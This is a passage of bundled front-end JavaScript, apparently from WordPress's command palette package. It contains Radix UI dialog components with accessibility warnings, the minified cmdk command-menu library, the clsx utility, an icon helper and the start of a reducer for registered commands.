    const { forceMount: forceMount = portalContext.forceMount , ...contentProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, {
        present: forceMount || context.open
    }, context.modal ? /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentModal, _extends({}, contentProps, {
        ref: forwardedRef
    })) : /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentNonModal, _extends({}, contentProps, {
        ref: forwardedRef
    })));
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$b6d9565de1e068cf, {
    displayName: $5d3850c4d0b4e6c7$var$CONTENT_NAME
});
/* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentModal = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog);
    const contentRef = (0,external_React_namespaceObject.useRef)(null);
    const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, context.contentRef, contentRef); // aria-hide everything except the content (better supported equivalent to setting aria-modal)
    (0,external_React_namespaceObject.useEffect)(()=>{
        const content = contentRef.current;
        if (content) return hideOthers(content);
    }, []);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentImpl, _extends({}, props, {
        ref: composedRefs // we make sure focus isn't trapped once `DialogContent` has been closed
        ,
        trapFocus: context.open,
        disableOutsidePointerEvents: true,
        onCloseAutoFocus: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onCloseAutoFocus, (event)=>{
            var _context$triggerRef$c;
            event.preventDefault();
            (_context$triggerRef$c = context.triggerRef.current) === null || _context$triggerRef$c === void 0 || _context$triggerRef$c.focus();
        }),
        onPointerDownOutside: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onPointerDownOutside, (event)=>{
            const originalEvent = event.detail.originalEvent;
            const ctrlLeftClick = originalEvent.button === 0 && originalEvent.ctrlKey === true;
            const isRightClick = originalEvent.button === 2 || ctrlLeftClick; // If the event is a right-click, we shouldn't close because
            // it is effectively as if we right-clicked the `Overlay`.
            if (isRightClick) event.preventDefault();
        }) // When focus is trapped, a `focusout` event may still happen.
        ,
        onFocusOutside: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onFocusOutside, (event)=>event.preventDefault()
        )
    }));
});
/* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentNonModal = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog);
    const hasInteractedOutsideRef = (0,external_React_namespaceObject.useRef)(false);
    const hasPointerDownOutsideRef = (0,external_React_namespaceObject.useRef)(false);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogContentImpl, _extends({}, props, {
        ref: forwardedRef,
        trapFocus: false,
        disableOutsidePointerEvents: false,
        onCloseAutoFocus: (event)=>{
            var _props$onCloseAutoFoc;
            (_props$onCloseAutoFoc = props.onCloseAutoFocus) === null || _props$onCloseAutoFoc === void 0 || _props$onCloseAutoFoc.call(props, event);
            if (!event.defaultPrevented) {
                var _context$triggerRef$c2;
                if (!hasInteractedOutsideRef.current) (_context$triggerRef$c2 = context.triggerRef.current) === null || _context$triggerRef$c2 === void 0 || _context$triggerRef$c2.focus(); // Always prevent auto focus because we either focus manually or want user agent focus
                event.preventDefault();
            }
            hasInteractedOutsideRef.current = false;
            hasPointerDownOutsideRef.current = false;
        },
        onInteractOutside: (event)=>{
            var _props$onInteractOuts, _context$triggerRef$c3;
            (_props$onInteractOuts = props.onInteractOutside) === null || _props$onInteractOuts === void 0 || _props$onInteractOuts.call(props, event);
            if (!event.defaultPrevented) {
                hasInteractedOutsideRef.current = true;
                if (event.detail.originalEvent.type === 'pointerdown') hasPointerDownOutsideRef.current = true;
            } // Prevent dismissing when clicking the trigger.
            // As the trigger is already setup to close, without doing so would
            // cause it to close and immediately open.
            const target = event.target;
            const targetIsTrigger = (_context$triggerRef$c3 = context.triggerRef.current) === null || _context$triggerRef$c3 === void 0 ? void 0 : _context$triggerRef$c3.contains(target);
            if (targetIsTrigger) event.preventDefault(); // On Safari if the trigger is inside a container with tabIndex={0}, when clicked
            // we will get the pointer down outside event on the trigger, but then a subsequent
            // focus outside event on the container, we ignore any focus outside event when we've
            // already had a pointer down outside event.
            if (event.detail.originalEvent.type === 'focusin' && hasPointerDownOutsideRef.current) event.preventDefault();
        }
    }));
});
/* -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DialogContentImpl = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , trapFocus: trapFocus , onOpenAutoFocus: onOpenAutoFocus , onCloseAutoFocus: onCloseAutoFocus , ...contentProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, __scopeDialog);
    const contentRef = (0,external_React_namespaceObject.useRef)(null);
    const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, contentRef); // Make sure the whole tree has focus guards as our `Dialog` will be
    // the last element in the DOM (beacuse of the `Portal`)
    $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c();
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($d3863c46a17e8a28$export$20e40289641fbbb6, {
        asChild: true,
        loop: true,
        trapped: trapFocus,
        onMountAutoFocus: onOpenAutoFocus,
        onUnmountAutoFocus: onCloseAutoFocus
    }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5cb92bef7577960e$export$177fb62ff3ec1f22, _extends({
        role: "dialog",
        id: context.contentId,
        "aria-describedby": context.descriptionId,
        "aria-labelledby": context.titleId,
        "data-state": $5d3850c4d0b4e6c7$var$getState(context.open)
    }, contentProps, {
        ref: composedRefs,
        onDismiss: ()=>context.onOpenChange(false)
    }))), false);
});
/* -------------------------------------------------------------------------------------------------
 * DialogTitle
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$TITLE_NAME = 'DialogTitle';
const $5d3850c4d0b4e6c7$export$16f7638e4a34b909 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , ...titleProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$TITLE_NAME, __scopeDialog);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.h2, _extends({
        id: context.titleId
    }, titleProps, {
        ref: forwardedRef
    }));
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$16f7638e4a34b909, {
    displayName: $5d3850c4d0b4e6c7$var$TITLE_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DialogDescription
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DESCRIPTION_NAME = 'DialogDescription';
const $5d3850c4d0b4e6c7$export$94e94c2ec2c954d5 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , ...descriptionProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$DESCRIPTION_NAME, __scopeDialog);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.p, _extends({
        id: context.descriptionId
    }, descriptionProps, {
        ref: forwardedRef
    }));
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$94e94c2ec2c954d5, {
    displayName: $5d3850c4d0b4e6c7$var$DESCRIPTION_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DialogClose
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$CLOSE_NAME = 'DialogClose';
const $5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , ...closeProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$CLOSE_NAME, __scopeDialog);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.button, _extends({
        type: "button"
    }, closeProps, {
        ref: forwardedRef,
        onClick: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onClick, ()=>context.onOpenChange(false)
        )
    }));
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac, {
    displayName: $5d3850c4d0b4e6c7$var$CLOSE_NAME
});
/* -----------------------------------------------------------------------------------------------*/ function $5d3850c4d0b4e6c7$var$getState(open) {
    return open ? 'open' : 'closed';
}
const $5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME = 'DialogTitleWarning';
const [$5d3850c4d0b4e6c7$export$69b62a49393917d6, $5d3850c4d0b4e6c7$var$useWarningContext] = $c512c27ab02ef895$export$fd42f52fd3ae1109($5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME, {
    contentName: $5d3850c4d0b4e6c7$var$CONTENT_NAME,
    titleName: $5d3850c4d0b4e6c7$var$TITLE_NAME,
    docsSlug: 'dialog'
});
const $5d3850c4d0b4e6c7$var$TitleWarning = ({ titleId: titleId  })=>{
    const titleWarningContext = $5d3850c4d0b4e6c7$var$useWarningContext($5d3850c4d0b4e6c7$var$TITLE_WARNING_NAME);
    const MESSAGE = `\`${titleWarningContext.contentName}\` requires a \`${titleWarningContext.titleName}\` for the component to be accessible for screen reader users.

If you want to hide the \`${titleWarningContext.titleName}\`, you can wrap it with our VisuallyHidden component.

For more information, see https://radix-ui.com/primitives/docs/components/${titleWarningContext.docsSlug}`;
    $67UHm$useEffect(()=>{
        if (titleId) {
            const hasTitle = document.getElementById(titleId);
            if (!hasTitle) throw new Error(MESSAGE);
        }
    }, [
        MESSAGE,
        titleId
    ]);
    return null;
};
const $5d3850c4d0b4e6c7$var$DESCRIPTION_WARNING_NAME = 'DialogDescriptionWarning';
const $5d3850c4d0b4e6c7$var$DescriptionWarning = ({ contentRef: contentRef , descriptionId: descriptionId  })=>{
    const descriptionWarningContext = $5d3850c4d0b4e6c7$var$useWarningContext($5d3850c4d0b4e6c7$var$DESCRIPTION_WARNING_NAME);
    const MESSAGE = `Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${descriptionWarningContext.contentName}}.`;
    $67UHm$useEffect(()=>{
        var _contentRef$current;
        const describedById = (_contentRef$current = contentRef.current) === null || _contentRef$current === void 0 ? void 0 : _contentRef$current.getAttribute('aria-describedby'); // if we have an id and the user hasn't set aria-describedby={undefined}
        if (descriptionId && describedById) {
            const hasDescription = document.getElementById(descriptionId);
            if (!hasDescription) console.warn(MESSAGE);
        }
    }, [
        MESSAGE,
        contentRef,
        descriptionId
    ]);
    return null;
};
const $5d3850c4d0b4e6c7$export$be92b6f5f03c0fe9 = $5d3850c4d0b4e6c7$export$3ddf2d174ce01153;
const $5d3850c4d0b4e6c7$export$41fb9f06171c75f4 = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$2e1e1122cf0cba88));
const $5d3850c4d0b4e6c7$export$602eac185826482c = $5d3850c4d0b4e6c7$export$dad7c95542bacce0;
const $5d3850c4d0b4e6c7$export$c6fdb837b070b4ff = $5d3850c4d0b4e6c7$export$bd1d06c79be19e17;
const $5d3850c4d0b4e6c7$export$7c6e2c02157bb7d2 = $5d3850c4d0b4e6c7$export$b6d9565de1e068cf;
const $5d3850c4d0b4e6c7$export$f99233281efd08a0 = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$16f7638e4a34b909));
const $5d3850c4d0b4e6c7$export$393edc798c47379d = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$94e94c2ec2c954d5));
const $5d3850c4d0b4e6c7$export$f39c2d165cd861fe = (/* unused pure expression or super */ null && ($5d3850c4d0b4e6c7$export$fba2fb7cd781b7ac));





;// ./node_modules/cmdk/dist/index.mjs
var V='[cmdk-group=""]',dist_X='[cmdk-group-items=""]',ge='[cmdk-group-heading=""]',dist_Y='[cmdk-item=""]',le=`${dist_Y}:not([aria-disabled="true"])`,Q="cmdk-item-select",M="data-value",Re=(r,o,n)=>W(r,o,n),ue=external_React_namespaceObject.createContext(void 0),dist_G=()=>external_React_namespaceObject.useContext(ue),de=external_React_namespaceObject.createContext(void 0),Z=()=>external_React_namespaceObject.useContext(de),fe=external_React_namespaceObject.createContext(void 0),me=external_React_namespaceObject.forwardRef((r,o)=>{let n=dist_k(()=>{var e,s;return{search:"",value:(s=(e=r.value)!=null?e:r.defaultValue)!=null?s:"",filtered:{count:0,items:new Map,groups:new Set}}}),u=dist_k(()=>new Set),c=dist_k(()=>new Map),d=dist_k(()=>new Map),f=dist_k(()=>new Set),p=pe(r),{label:v,children:b,value:l,onValueChange:y,filter:S,shouldFilter:C,loop:L,disablePointerSelection:ee=!1,vimBindings:j=!0,...H}=r,te=external_React_namespaceObject.useId(),$=external_React_namespaceObject.useId(),K=external_React_namespaceObject.useId(),x=external_React_namespaceObject.useRef(null),g=Me();T(()=>{if(l!==void 0){let e=l.trim();n.current.value=e,h.emit()}},[l]),T(()=>{g(6,re)},[]);let h=external_React_namespaceObject.useMemo(()=>({subscribe:e=>(f.current.add(e),()=>f.current.delete(e)),snapshot:()=>n.current,setState:(e,s,i)=>{var a,m,R;if(!Object.is(n.current[e],s)){if(n.current[e]=s,e==="search")z(),q(),g(1,U);else if(e==="value"&&(i||g(5,re),((a=p.current)==null?void 0:a.value)!==void 0)){let E=s!=null?s:"";(R=(m=p.current).onValueChange)==null||R.call(m,E);return}h.emit()}},emit:()=>{f.current.forEach(e=>e())}}),[]),B=external_React_namespaceObject.useMemo(()=>({value:(e,s,i)=>{var a;s!==((a=d.current.get(e))==null?void 0:a.value)&&(d.current.set(e,{value:s,keywords:i}),n.current.filtered.items.set(e,ne(s,i)),g(2,()=>{q(),h.emit()}))},item:(e,s)=>(u.current.add(e),s&&(c.current.has(s)?c.current.get(s).add(e):c.current.set(s,new Set([e]))),g(3,()=>{z(),q(),n.current.value||U(),h.emit()}),()=>{d.current.delete(e),u.current.delete(e),n.current.filtered.items.delete(e);let i=O();g(4,()=>{z(),(i==null?void 0:i.getAttribute("id"))===e&&U(),h.emit()})}),group:e=>(c.current.has(e)||c.current.set(e,new Set),()=>{d.current.delete(e),c.current.delete(e)}),filter:()=>p.current.shouldFilter,label:v||r["aria-label"],disablePointerSelection:ee,listId:te,inputId:K,labelId:$,listInnerRef:x}),[]);function ne(e,s){var a,m;let i=(m=(a=p.current)==null?void 0:a.filter)!=null?m:Re;return e?i(e,n.current.search,s):0}function q(){if(!n.current.search||p.current.shouldFilter===!1)return;let e=n.current.filtered.items,s=[];n.current.filtered.groups.forEach(a=>{let m=c.current.get(a),R=0;m.forEach(E=>{let P=e.get(E);R=Math.max(P,R)}),s.push([a,R])});let i=x.current;A().sort((a,m)=>{var P,_;let R=a.getAttribute("id"),E=m.getAttribute("id");return((P=e.get(E))!=null?P:0)-((_=e.get(R))!=null?_:0)}).forEach(a=>{let m=a.closest(dist_X);m?m.appendChild(a.parentElement===m?a:a.closest(`${dist_X} > *`)):i.appendChild(a.parentElement===i?a:a.closest(`${dist_X} > *`))}),s.sort((a,m)=>m[1]-a[1]).forEach(a=>{let m=x.current.querySelector(`${V}[${M}="${encodeURIComponent(a[0])}"]`);m==null||m.parentElement.appendChild(m)})}function U(){let e=A().find(i=>i.getAttribute("aria-disabled")!=="true"),s=e==null?void 0:e.getAttribute(M);h.setState("value",s||void 0)}function z(){var s,i,a,m;if(!n.current.search||p.current.shouldFilter===!1){n.current.filtered.count=u.current.size;return}n.current.filtered.groups=new Set;let e=0;for(let R of u.current){let E=(i=(s=d.current.get(R))==null?void 0:s.value)!=null?i:"",P=(m=(a=d.current.get(R))==null?void 0:a.keywords)!=null?m:[],_=ne(E,P);n.current.filtered.items.set(R,_),_>0&&e++}for(let[R,E]of c.current)for(let P of E)if(n.current.filtered.items.get(P)>0){n.current.filtered.groups.add(R);break}n.current.filtered.count=e}function re(){var s,i,a;let e=O();e&&(((s=e.parentElement)==null?void 0:s.firstChild)===e&&((a=(i=e.closest(V))==null?void 0:i.querySelector(ge))==null||a.scrollIntoView({block:"nearest"})),e.scrollIntoView({block:"nearest"}))}function O(){var e;return(e=x.current)==null?void 0:e.querySelector(`${dist_Y}[aria-selected="true"]`)}function A(){var e;return Array.from((e=x.current)==null?void 0:e.querySelectorAll(le))}function W(e){let i=A()[e];i&&h.setState("value",i.getAttribute(M))}function J(e){var R;let s=O(),i=A(),a=i.findIndex(E=>E===s),m=i[a+e];(R=p.current)!=null&&R.loop&&(m=a+e<0?i[i.length-1]:a+e===i.length?i[0]:i[a+e]),m&&h.setState("value",m.getAttribute(M))}function oe(e){let s=O(),i=s==null?void 0:s.closest(V),a;for(;i&&!a;)i=e>0?we(i,V):Ie(i,V),a=i==null?void 0:i.querySelector(le);a?h.setState("value",a.getAttribute(M)):J(e)}let ie=()=>W(A().length-1),ae=e=>{e.preventDefault(),e.metaKey?ie():e.altKey?oe(1):J(1)},se=e=>{e.preventDefault(),e.metaKey?W(0):e.altKey?oe(-1):J(-1)};return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,tabIndex:-1,...H,"cmdk-root":"",onKeyDown:e=>{var s;if((s=H.onKeyDown)==null||s.call(H,e),!e.defaultPrevented)switch(e.key){case"n":case"j":{j&&e.ctrlKey&&ae(e);break}case"ArrowDown":{ae(e);break}case"p":case"k":{j&&e.ctrlKey&&se(e);break}case"ArrowUp":{se(e);break}case"Home":{e.preventDefault(),W(0);break}case"End":{e.preventDefault(),ie();break}case"Enter":if(!e.nativeEvent.isComposing&&e.keyCode!==229){e.preventDefault();let i=O();if(i){let a=new Event(Q);i.dispatchEvent(a)}}}}},external_React_namespaceObject.createElement("label",{"cmdk-label":"",htmlFor:B.inputId,id:B.labelId,style:De},v),F(r,e=>external_React_namespaceObject.createElement(de.Provider,{value:h},external_React_namespaceObject.createElement(ue.Provider,{value:B},e))))}),be=external_React_namespaceObject.forwardRef((r,o)=>{var K,x;let n=external_React_namespaceObject.useId(),u=external_React_namespaceObject.useRef(null),c=external_React_namespaceObject.useContext(fe),d=dist_G(),f=pe(r),p=(x=(K=f.current)==null?void 0:K.forceMount)!=null?x:c==null?void 0:c.forceMount;T(()=>{if(!p)return d.item(n,c==null?void 0:c.id)},[p]);let v=ve(n,u,[r.value,r.children,u],r.keywords),b=Z(),l=dist_D(g=>g.value&&g.value===v.current),y=dist_D(g=>p||d.filter()===!1?!0:g.search?g.filtered.items.get(n)>0:!0);external_React_namespaceObject.useEffect(()=>{let g=u.current;if(!(!g||r.disabled))return g.addEventListener(Q,S),()=>g.removeEventListener(Q,S)},[y,r.onSelect,r.disabled]);function S(){var g,h;C(),(h=(g=f.current).onSelect)==null||h.call(g,v.current)}function C(){b.setState("value",v.current,!0)}if(!y)return null;let{disabled:L,value:ee,onSelect:j,forceMount:H,keywords:te,...$}=r;return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([u,o]),...$,id:n,"cmdk-item":"",role:"option","aria-disabled":!!L,"aria-selected":!!l,"data-disabled":!!L,"data-selected":!!l,onPointerMove:L||d.disablePointerSelection?void 0:C,onClick:L?void 0:S},r.children)}),he=external_React_namespaceObject.forwardRef((r,o)=>{let{heading:n,children:u,forceMount:c,...d}=r,f=external_React_namespaceObject.useId(),p=external_React_namespaceObject.useRef(null),v=external_React_namespaceObject.useRef(null),b=external_React_namespaceObject.useId(),l=dist_G(),y=dist_D(C=>c||l.filter()===!1?!0:C.search?C.filtered.groups.has(f):!0);T(()=>l.group(f),[]),ve(f,p,[r.value,r.heading,v]);let S=external_React_namespaceObject.useMemo(()=>({id:f,forceMount:c}),[c]);return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([p,o]),...d,"cmdk-group":"",role:"presentation",hidden:y?void 0:!0},n&&external_React_namespaceObject.createElement("div",{ref:v,"cmdk-group-heading":"","aria-hidden":!0,id:b},n),F(r,C=>external_React_namespaceObject.createElement("div",{"cmdk-group-items":"",role:"group","aria-labelledby":n?b:void 0},external_React_namespaceObject.createElement(fe.Provider,{value:S},C))))}),ye=external_React_namespaceObject.forwardRef((r,o)=>{let{alwaysRender:n,...u}=r,c=external_React_namespaceObject.useRef(null),d=dist_D(f=>!f.search);return!n&&!d?null:external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([c,o]),...u,"cmdk-separator":"",role:"separator"})}),Ee=external_React_namespaceObject.forwardRef((r,o)=>{let{onValueChange:n,...u}=r,c=r.value!=null,d=Z(),f=dist_D(l=>l.search),p=dist_D(l=>l.value),v=dist_G(),b=external_React_namespaceObject.useMemo(()=>{var y;let l=(y=v.listInnerRef.current)==null?void 0:y.querySelector(`${dist_Y}[${M}="${encodeURIComponent(p)}"]`);return l==null?void 0:l.getAttribute("id")},[]);return external_React_namespaceObject.useEffect(()=>{r.value!=null&&d.setState("search",r.value)},[r.value]),external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.input,{ref:o,...u,"cmdk-input":"",autoComplete:"off",autoCorrect:"off",spellCheck:!1,"aria-autocomplete":"list",role:"combobox","aria-expanded":!0,"aria-controls":v.listId,"aria-labelledby":v.labelId,"aria-activedescendant":b,id:v.inputId,type:"text",value:c?r.value:f,onChange:l=>{c||d.setState("search",l.target.value),n==null||n(l.target.value)}})}),Se=external_React_namespaceObject.forwardRef((r,o)=>{let{children:n,label:u="Suggestions",...c}=r,d=external_React_namespaceObject.useRef(null),f=external_React_namespaceObject.useRef(null),p=dist_G();return external_React_namespaceObject.useEffect(()=>{if(f.current&&d.current){let v=f.current,b=d.current,l,y=new ResizeObserver(()=>{l=requestAnimationFrame(()=>{let S=v.offsetHeight;b.style.setProperty("--cmdk-list-height",S.toFixed(1)+"px")})});return y.observe(v),()=>{cancelAnimationFrame(l),y.unobserve(v)}}},[]),external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([d,o]),...c,"cmdk-list":"",role:"listbox","aria-label":u,id:p.listId},F(r,v=>external_React_namespaceObject.createElement("div",{ref:N([f,p.listInnerRef]),"cmdk-list-sizer":""},v)))}),Ce=external_React_namespaceObject.forwardRef((r,o)=>{let{open:n,onOpenChange:u,overlayClassName:c,contentClassName:d,container:f,...p}=r;return external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$be92b6f5f03c0fe9,{open:n,onOpenChange:u},external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$602eac185826482c,{container:f},external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$c6fdb837b070b4ff,{"cmdk-overlay":"",className:c}),external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$7c6e2c02157bb7d2,{"aria-label":r.label,"cmdk-dialog":"",className:d},external_React_namespaceObject.createElement(me,{ref:o,...p}))))}),xe=external_React_namespaceObject.forwardRef((r,o)=>dist_D(u=>u.filtered.count===0)?external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,...r,"cmdk-empty":"",role:"presentation"}):null),Pe=external_React_namespaceObject.forwardRef((r,o)=>{let{progress:n,children:u,label:c="Loading...",...d}=r;return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,...d,"cmdk-loading":"",role:"progressbar","aria-valuenow":n,"aria-valuemin":0,"aria-valuemax":100,"aria-label":c},F(r,f=>external_React_namespaceObject.createElement("div",{"aria-hidden":!0},f)))}),He=Object.assign(me,{List:Se,Item:be,Input:Ee,Group:he,Separator:ye,Dialog:Ce,Empty:xe,Loading:Pe});function we(r,o){let n=r.nextElementSibling;for(;n;){if(n.matches(o))return n;n=n.nextElementSibling}}function Ie(r,o){let n=r.previousElementSibling;for(;n;){if(n.matches(o))return n;n=n.previousElementSibling}}function pe(r){let o=external_React_namespaceObject.useRef(r);return T(()=>{o.current=r}),o}var T=typeof window=="undefined"?external_React_namespaceObject.useEffect:external_React_namespaceObject.useLayoutEffect;function dist_k(r){let o=external_React_namespaceObject.useRef();return o.current===void 0&&(o.current=r()),o}function N(r){return o=>{r.forEach(n=>{typeof n=="function"?n(o):n!=null&&(n.current=o)})}}function dist_D(r){let o=Z(),n=()=>r(o.snapshot());return external_React_namespaceObject.useSyncExternalStore(o.subscribe,n,n)}function ve(r,o,n,u=[]){let c=external_React_namespaceObject.useRef(),d=dist_G();return T(()=>{var v;let f=(()=>{var b;for(let l of n){if(typeof l=="string")return l.trim();if(typeof l=="object"&&"current"in l)return l.current?(b=l.current.textContent)==null?void 0:b.trim():c.current}})(),p=u.map(b=>b.trim());d.value(r,f,p),(v=o.current)==null||v.setAttribute(M,f),c.current=f}),c}var Me=()=>{let[r,o]=external_React_namespaceObject.useState(),n=dist_k(()=>new Map);return T(()=>{n.current.forEach(u=>u()),n.current=new Map},[r]),(u,c)=>{n.current.set(u,c),o({})}};function Te(r){let o=r.type;return typeof o=="function"?o(r.props):"render"in o?o.render(r.props):r}function F({asChild:r,children:o},n){return r&&external_React_namespaceObject.isValidElement(o)?external_React_namespaceObject.cloneElement(Te(o),{ref:o.ref},n(o.props.children)):n(o)}var De={position:"absolute",width:"1px",height:"1px",padding:"0",margin:"-1px",overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0"};

;// ./node_modules/clsx/dist/clsx.mjs
function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","keyboardShortcuts"]
const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
;// ./node_modules/@wordpress/icons/build-module/icon/index.js
/**
 * WordPress dependencies
 */


/** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */

/**
 * Return an SVG icon.
 *
 * @param {IconProps}                                 props icon is the SVG component to render
 *                                                          size is a number specifying the icon size in pixels
 *                                                          Other props will be passed to wrapped SVG component
 * @param {import('react').ForwardedRef<HTMLElement>} ref   The forwarded ref to the SVG element.
 *
 * @return {JSX.Element}  Icon component
 */
function Icon({
  icon,
  size = 24,
  ...props
}, ref) {
  return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
    width: size,
    height: size,
    ...props,
    ref
  });
}
/* harmony default export */ const icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon));

;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/icons/build-module/library/search.js
/**
 * WordPress dependencies
 */


const search = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"
  })
});
/* harmony default export */ const library_search = (search);

;// ./node_modules/@wordpress/commands/build-module/store/reducer.js
/**
 * WordPress dependencies
 */


/**
 * Reducer returning the registered commands
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function commands(state = {}, action) {
  switch (action.type) {
    case 'REGISTER_COMMAND':
      return {
        ...state,
        [action.name]: {
          name: action.name,
          label: action.label,
          searchLabel: action.searchLabel,
          context: action.context,
          callback: action.callback,
          icon: action.icon
        }
      };
    case 'UNREGISTER_COMMAND':
      {
        const {
          [action.name]: _,
          ...remainingState
        } = state;
        return remainingState;
      }
  }
  return state;
}

/**
